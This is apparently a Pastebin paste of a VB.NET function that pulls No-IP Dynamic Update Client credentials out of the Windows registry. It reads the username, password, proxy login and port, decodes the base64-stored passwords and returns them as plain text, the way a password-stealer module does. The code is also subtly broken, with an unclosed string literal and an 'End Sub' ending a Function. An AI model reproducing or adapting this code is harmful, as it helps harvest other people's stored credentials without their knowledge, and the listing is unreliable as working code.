Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Function NoIPRec() as string
- On Error GoTo X
- Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
- Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
- Dim ProxyUsername As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyUsername", Nothing)
- Dim ProxyPassword As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPassword", Nothing)
- Dim ProxyPort As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPort", Nothing)
- Dim NL As String = vbNewLine
- return "-No IP-" + NL + "Username: " + Username + NL + "Password: " + base64Decode(Password) + NL + "Proxy Username + ProxyUsername + NL + "Proxy Password: " + base64Decode(ProxyPassword) + NL + "Proxy Port: " + ProxyPort + NL + NL
- X:
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement